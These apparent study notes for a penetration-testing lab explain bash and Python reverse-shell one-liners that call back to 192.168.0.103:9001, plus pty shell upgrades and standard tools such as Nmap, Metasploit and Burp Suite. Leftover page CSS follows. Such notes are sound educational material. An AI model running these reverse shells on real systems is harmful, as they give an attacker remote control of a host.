---
# System prepended metadata

title: Overview of Lab Commands and Tools

---

# Overview of Lab Commands and Tools

Command:
```bash
bash -i >& /dev/tcp/192.168.0.103/9001 0>&1
```

Explanation:
This command uses bash to create a network connection with the IP Address 192.168.0.103 over port 9001. In order for this to work, the host 192.168.0.103 must have some sort of listener like metasploit's multi/handler, netcat or pwncat{netcat on steroids} actively listening on port 9001. Bash -i makes an interactive instance of bash. First of all, there are three default files in bash. Stdin which is standard input such as from the keyboard, stdout which is standard output such as the terminal and stderr which is standard error, where errors are output. The file descriptors for stdin, stdout and stderr are 0, 1 and 2 respectively. The >& causes it to send standard output and standard error through the connection /dev/tcp/192.168.0.103/9001, and 0>&1 sets standard input to be read through the connection.

Command:
```python=
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.103",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

Explanation:
This next command is a simple oneliner that uses python code to import the socket library, and initiate a network socket to the IP address and port specified within s.connect, which will connect the listening server.

Command:
```
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
```


Explanation: 
Let's look at this simple command here. This is a Python/Python3 oneliner that imports the pty library which handles pseudo terminal utilities, and attempts to spawn a /bin/bash shell.

Command:
`/bin/bash -i`

Explanation:
This command spawns a /bin/bash shell by trying to run the command interactively using the -i switch.

## Tools
**Netdiscover**
This is a network address discovery tool as its name implies. It's only good on local area networks{LAN} as its based on address resolution protocol{ARP} to send ARP requests and sniff the replies.

**Nmap{Network Mapper}**
This is an opensource tool for vulnerability network and network discovery. It's actually one of the most known tools in the Cyber Security community particularly for penetration testers.

**Nikto**
This is an opensource web server scanner that performs vulnerability scanning against webservers.

**Dirb**
This is a web content scanner. It looks for existing and/or hidden objects. This can be accomplished by running a dictionary based bruteforce attack, analyzing the webserver's response to enumerate web directories. It's quite important when trying to find vulnerabilites such as broken access control within web applications. You could also use gobuster or urlbuster.

**Msfconsole**
Metasploit is one of the most well known tool within the Cyber Security field especially for penetration testers. It's a penetration testing platform that has the ability to find, exploit and validate vulnerabilites. It also has great capabilities such as standing up a multi handler listener to get reliable meterpreter sessions.

**Burpsuite**
Burpsuite is another well known tool within the Cyber Security and Pen Testing field. It's best utilized for Penetration Testing against web applications. The pro version is obviously way better because it includes the scanner and multiple other features that are useful.



### Resources
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://www.tldp.org/LDP/abs/html/io-redirection.html
https://unix.stackexchange.com/questions/116010/meaning-of-bash-i-dev-tcp-host-port-01
https://netsec.ws/?p=337
https://github.com/alexxy/netdiscover
https://highon.coffee/blog/nmap-cheat-sheet/
https://cirt.net/Nikto2
https://tools.kali.org/web-applications/dirb

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  /* table of contents text: active*/
  .ui-toc-dropdown .nav>.active:focus>a,
  .ui-toc-dropdown .nav>.active:hover>a,
  .ui-toc-dropdown .nav>.active>a {
    color: #7bf;
    border-left-color: #7bf;
  }

  /* table of contents text: focus, hover*/
  .ui-toc-dropdown .nav>li>a:focus,
  .ui-toc-dropdown .nav>li>a:hover {
    color: #7bf;
    border-left-color: #7bf;
  }

  /* drop down floating table of contents */
  .ui-toc-dropdown.dropdown-menu {
    background: #333;
  }

  .toc-menu a {
    color: #ddd;
  }

  .toc-menu a:focus,
  .toc-menu a:hover {
    color: #7bf;
  }


  /*--------------- editor ---------------*/
  .cm-m-markdown {
    color: #ddd;
  }

  .cm-s-one-dark .cm-header,
  .cm-m-xml.cm-attribute {
    color: #ffa653;
  }

  .cm-m-markdown.cm-variable-3 {
    color: #ff7e7e;
  }

  .cm-s-one-dark .cm-string,
  .cm-s-one-dark .cm-variable-2,
  .cm-s-one-dark .cm-m-markdown.cm-url{
    color: #7bf;
  }

  .cm-s-one-dark .cm-m-markdown.cm-link {
    color: #b0ee83;
  }

  .cm-s-one-dark .CodeMirror-linenumber {
    color: #666;
  }

  .cm-strong {
    color: #f4511e;
  }

  .cm-s-one-dark .cm-comment {
    color: #a9a9a9;
  }

  .cm-matchhighlight {
    color: #ffea00;
  }

  .cm-positive {
    color: #11bf64;
  }

  .cm-negative {
    color: #ff3e3e;
  }

  .dropdown-menu.CodeMirror-other-cursor {
    border: 2px solid #4d4d4d;
    background-color: #202020;
  }

  .dropdown-menu.CodeMirror-other-cursor li a {
    color: #ececec;
  }

  /*--------------- book mode ---------------*/
  .topbar {
    background: #1e1e1e;
  }

  .btn.focus,
  .btn:focus,
  .btn:hover {
    color: #fff;
    background-color: #333;
  }

  .summary {
    background: #1e1e1e;
  }

  .summary,
  .toolbar {
    background: #1e1e1e !important;
    border-color: #4d4d4d !important;
  }

  .toolbar i {
    color: #fff;
  }

  .summary h1,
  .summary h2,
  .summary h3 .summary hr {
    color: #ddd;
    border-color: #777 !important;
  }

  .summary .nav>li>a {
    color: #7bf;
  }

  .summary .nav-pills>li.active>a,
  .summary .nav-pills>li.active>a:focus,
  .summary .nav-pills>li.active>a:hover {
    color: #ff9100;
  }

  .ui-summary-search {
    font-size: 16px;
    border: 1px solid #6D6D6D;
    background-color: #333;
    color: #FFF;
  }

  .summary h1,
  .summary h2,
  .summary h3,
  .summary h4,
  .summary h5,
  .summary h6 {
    border-color: #454545;
  }

  /* fix body background color to dark */
  div[class$=container-mask] {
    background: #1e1e1e;
    z-index: 1;
    display: block;
  }

  /* notification */
  .dropdown.ui-notification .ui-notification-label,
  .dropdown.ui-invitee .ui-invitee-label {
    color: #eee;
    border-color: #6a6a6a;
  }

  .ui-notification .dropdown-menu {
    border-top: 1px solid #555;
  }

  /*--------------- help ---------------*/
  .modal-header {
    background-color: #2a2a2a;
  }

  .panel-default {
    border-color: #6d6d6d;
  }

  .panel-default>.panel-heading {
    background-color: #2a2a2a;
    color: #eee;
    border-color: #6d6d6d;
  }

  .panel-body {
    background: #2e2e2e;
  }

  .panel-body a {
    color: #7bf;
  }

  .table>tbody>tr>td,
  .table>tbody>tr>th,
  .table>tfoot>tr>td,
  .table>tfoot>tr>th,
  .table>thead>tr>td,
  .table>thead>tr>th {
    border-color: #6d6d6d;
  }

  /*--------------- comment ---------------*/
  .ui-comment-container .ui-comment-header {
    background-color: #2a2a2a;
    color: #eee;
    border-color: #6d6d6d;
  }

  .ui-comment-container {
    background-color: #2e2e2e;
    border-color: #6d6d6d;
  }

  .ui-comment-container .ui-comments-container .ui-comment .comment-author {
    color: #eee;
  }

  .ui-comment-container .ui-comments-container .ui-comment .timestamp {
    color: #aaa;
  }

  .ui-comment-container .ui-comments-container .ui-comment .comment-content {
    color: #eee;
  }

  .ui-comment-container .ui-comments-container .ui-comment .comment-menu {
    color: #eee;
  }

  .ui-comment-container .ui-comments-container .ui-comment .comment-menu .comment-dropdown-menu {
    background: #222;
    color: #eee;
    border-color: #555;
  }

  .ui-comment-container .ui-comments-container .ui-comment .comment-menu .comment-dropdown-menu>div:hover {
    background-color: #555555;
    color: #eee;
  }

  .ui-comment-container .ui-comments-container .ui-comment .comment-menu:hover,
  .ui-comment-container .ui-comments-container .ui-comment .comment-menu:active,
  .ui-comment-container .ui-comments-container .ui-comment .comment-menu.active {
    background-color: #737373;
    color: #eee;
  }

  .ui-comment-container .ui-comment-input-container {
    background-color: #3c3c3c;
  }

  .ui-comment-container textarea {
    background-color: #3e4045;
    color: #eee;
    border: 1px solid #6d6d6d;
  }

  .ui-comment-container textarea::placeholder,
  .ui-comment-container textarea::-webkit-input-placeholder,
  .ui-comment-container textarea:-moz-placeholder,
  .ui-comment-container textarea::-moz-placeholder,
  .ui-comment-container textarea:-ms-input-placeholder {
    color: #eee;
  }

  @keyframes highlight {
    0% {
      background-color: #3c3c3c;
    }

    30% {
      background-color: #3c3c3c;
    }

    100% {
      background-color: transparent;
    }
  }

  /*--------------- template ---------------*/
  .template-content .modal-header {
    background: #2a2a2a;
  }

  .template-content .close {
    color: #fff;
  }

  .template-content .modal-title {
    color: #eee;
  }

  .template-content .ui-templates-container {
    border-color: #6d6d6d;
  }

  .ui-templates-container .ui-create-template-btn {
    background: #446fab;
    color: #fff;
  }

  .ui-template-list-filter .ui-template-list-filter-label,
  .ui-template-list-filter .ui-template-list-filter-label:hover {
    color: #eee;
  }

  .ui-template-list .list-group-item.active {
    background: #4d4d4d;
  }

  .ui-template-list .list-group-item.active:focus {
    background: #4d4d4d !important;
  }

  .list-group-item.active,
  .list-group-item.active:focus,
  .list-group-item.active:hover {
    color: #eee;
  }

  .ui-template-list .list-group-item .list-group-item-heading {
    color: #eee;
  }

  .ui-template-list .list-group-item.active .list-group-item-heading {
    color: #eee;
  }

  .ui-template-list .list-group-item:hover {
    background: #4d4d4d !important;
  }

  .ui-template-item-menu {
    color: #eee !important;
  }

  .ui-template-list .list-group-item {
    color: #fff;
  }

  .ui-template-list .list-group-item .dropdown-container.open {
    background-color: #2a2a2a;
  }

  .ui-template-list .list-group-item .dropdown-container:hover {
    background-color: #2a2a2a !important;
  }

  .template-menu .more-template {
    border-color: #6d6d6d;
  }

  .template-menu .more-template:hover {
    color: #eee;
    border-color: #6d6d6d;
  }

  /*--------------- code mirror ---------------*/
  .modal-content {
    background: #1f2226;
  }

  .modal-header {
    border-bottom: 1px solid #46484f;
  }

  .modal-footer {
    border-top: 1px solid #46484f;
  }

  a.list-group-item {
    background: #1f2226;
    color: #ddd;
    border: 1px solid #46484f;
  }

  a.list-group-item .list-group-item-heading {
    color: #ddd;
  }

  a.list-group-item:focus,
  a.list-group-item:hover {
    background: #434651;
    color: #ddd;
  }

  button.close {
    color: #ddd;
    opacity: .5;
  }

  .close:focus,
  .close:hover {
    color: #fff;
    opacity: .8;
  }

  .CodeMirror {
    background: #1f2226;
  }

  .CodeMirror-gutters {
    background: #1f2226;
    border-right: 1px solid rgba(204, 217, 255, 0.1);
  }

  .cm-s-default .cm-comment {
    color: #888;
  }

  .cm-s-default .cm-quote {
    color: #ddd;
  }

  .cm-s-default .cm-header {
    color: #ffa653;
  }

  .cm-s-default .cm-link {
    color: #b0ee83;
  }

  .cm-s-default .cm-string,
  .cm-s-default .cm-variable-2 {
    color: #7bf;
  }

  .cm-s-default .cm-def {
    color: #c678dd;
  }

  .cm-s-default .cm-number,
  .cm-s-default .cm-attribute,
  .cm-s-default .cm-qualifier,
  .cm-s-default .cm-plus,
  .cm-s-default .cm-atom {
    color: #eda35e;
  }

  .cm-s-default .cm-property,
  .cm-s-default .cm-variable,
  .cm-s-default .cm-variable-3,
  .cm-s-default .cm-operator,
  .cm-s-default .cm-bracket {
    color: #f76e79;
  }

  .cm-s-default .cm-keyword,
  .cm-s-default .cm-builtin,
  .cm-s-default .cm-tag {
    color: #98c379;
  }

  .modal-title {
    color: #ccc;
  }

  .modal-body {
    color: #ccc !important;
  }

  div[contenteditable]:empty:not(:focus):before {
    color: #aaa;
  }

  .CodeMirror pre {
    color: #ddd;
  }

  .CodeMirror pre span[style^="background-color: rgb(221, 251, 230)"] {
    background-color: #288c27 !important;
  }

  .CodeMirror pre span[style^="background-color: rgb(249, 215, 220)"] {
    background-color: #a52721 !important;
  }

  /*------- code highlight: Visual Stutdio Code theme for highlight.js -------*/
  .hljs {
    background: #1E1E1E;
    color: #DCDCDC;
  }

  .hljs-keyword,
  .hljs-literal,
  .hljs-symbol,
  .hljs-name {
    color: #569CD6;
  }

  .hljs-link {
    color: #569CD6;
    text-decoration: underline;
  }

  .hljs-built_in,
  .hljs-type {
    color: #4EC9B0;
  }

  .hljs-number,
  .hljs-class {
    color: #B8D7A3;
  }

  .hljs-string,
  .hljs-meta-string {
    color: #D69D85;
  }

  .hljs-regexp,
  .hljs-template-tag {
    color: #d16969;
  }

  .hljs-title {
    color: #dcdcaa;
  }

  .hljs-subst,
  .hljs-function,
  .hljs-formula {
    color: #DCDCDC;
  }

  .hljs-comment,
  .hljs-quote {
    color: #57A64A;
  }

  .hljs-doctag {
    color: #608B4E;
  }

  .hljs-meta,
  .hljs-meta-keyword,
  .hljs-tag {
    color: #9B9B9B;
  }

  .hljs-variable,
  .hljs-template-variable {
    color: #BD63C5;
  }

  .hljs-params,
  .hljs-attr,
  .hljs-attribute,
  .hljs-builtin-name {
    color: #9CDCFE;
  }

  .hljs-section {
    color: gold;
  }

  .hljs-emphasis {
    font-style: italic;
  }

  .hljs-strong {
    font-weight: bold;
  }

  /*
  .hljs-code {
    font-family:'Monospace';
  }
  */

  .hljs-bullet,
  .hljs-selector-tag,
  .hljs-selector-id,
  .hljs-selector-class,
  .hljs-selector-attr,
  .hljs-selector-pseudo {
    color: #D7BA7D;
  }

  .hljs-addition {
    background-color: #155a36;
    color: #dfdfdf;
    display: inline-block;
    width: 100%;
  }

  .hljs-deletion {
    background-color: #872e2e;
    color: #dfdfdf;
    display: inline-block;
    width: 100%;
  }

  /*---------- code highlight: Visual Stutdio Code theme for Prism.js ----------*/
  code[class*="language-"],
  pre[class*="language-"] {
    color: #DCDCDC;
  }

  :not(pre)>code[class*="language-"],
  pre[class*="language-"] {
    background: #1E1E1E;
  }

  .token.comment,
  .token.block-comment,
  .token.prolog,
  .token.cdata {
    color: #57A64A;
  }

  .token.doctype,
  .token.punctuation {
    color: #9B9B9B;
  }

  .token.tag,
  .token.entity {
    color: #569CD6;
  }

  .token.attr-name,
  .token.namespace,
  .token.deleted,
  .token.property,
  .token.builtin {
    color: #9CDCFE;
  }

  .token.function,
  .token.function-name {
    color: #dcdcaa;
  }

  .token.boolean,
  .token.keyword,
  .token.important {
    color: #569CD6;
  }

  .token.number {
    color: #B8D7A3;
  }

  .token.class-name,
  .token.constant {
    color: #4EC9B0;
  }

  .token.symbol {
    color: #f8c555;
  }

  .token.rule {
    color: #c586c0;
  }

  .token.selector {
    color: #D7BA7D;
  }

  .token.atrule {
    color: #cc99cd;
  }

  .token.string,
  .token.attr-value {
    color: #D69D85;
  }

  .token.char {
    color: #7ec699;
  }

  .token.variable {
    color: #BD63C5;
  }

  .token.regex {
    color: #d16969;
  }

  .token.operator {
    color: #DCDCDC;
    background: transparent;
  }

  .token.url {
    color: #67cdcc;
  }

  .token.important,
  .token.bold {
    font-weight: bold;
  }

  .token.italic {
    font-style: italic;
  }

  .token.entity {
    cursor: help;
  }

  .token.inserted {
    color: green;
  }

  /*---------- code highlight: dark theme for Gist ----------*/
  .gist .gist-file {
    border: 1px solid #555;
  }

  .gist .gist-data {
    background-color: #1e1e1e;
    border-bottom: 1px solid #555;
  }

  .gist .gist-meta {
    background-color: #424a55;
    color: #eee;
  }

  .gist .gist-meta a {
    color: #eee;
  }

  .gist .highlight {
    color: #eee;
    background-color: #1e1e1e;
  }

  .gist .blob-num {
    color: #afafaf;
  }

  .gist .blob-code-inner {
    color: #dfdfdf;
  }

  .pl-mb {
    color: #fff !important;
  }

  .pl-c {
    color: #57A64A !important;
  }

  /* comment */
  .pl-ent {
    color: #569CD6 !important;
  }

  /* entity */
  .pl-e {
    color: #9CDCFE !important;
  }

  .pl-en {
    color: #4EC9B0 !important;
  }

  /* entity attribute */
  .pl-smi {
    color: #9CDCFE !important;
  }

  .pl-k {
    color: #569cd6 !important;
  }

  .pl-c1,
  .pl-s .pl-v {
    color: #4EC9B0 !important;
  }

  .pl-pds,
  .pl-s,
  .pl-s .pl-pse .pl-s1,
  .pl-sr,
  .pl-sr .pl-cce,
  .pl-sr .pl-sra,
  .pl-sr .pl-sre,
  .pl-s .pl-s1 {
    color: #D69D85 !important;
  }

  .pl-s .pl-s1 .pl-pse {
    color: #c5dbff !important;
  }

  /* strings */
  .diff-table .pl-c,
  .diff-table .pl-ent,
  .diff-table .pl-e,
  .diff-table .pl-en,
  .diff-table .pl-pds,
  .diff-table .pl-s,
  .diff-table .pl-s .pl-s1,
  .diff-table .pl-s .pl-pse .pl-s1,
  .diff-table .pl-sr,
  .diff-table .pl-sr .pl-cce,
  .diff-table .pl-sr .pl-sra,
  .diff-table .pl-sr .pl-sre,
  .diff-table .pl-k,
  .diff-table .pl-smi,
  .diff-table .pl-c1,
  .diff-table .pl-v {
    color: #eee !important;
  }

</style>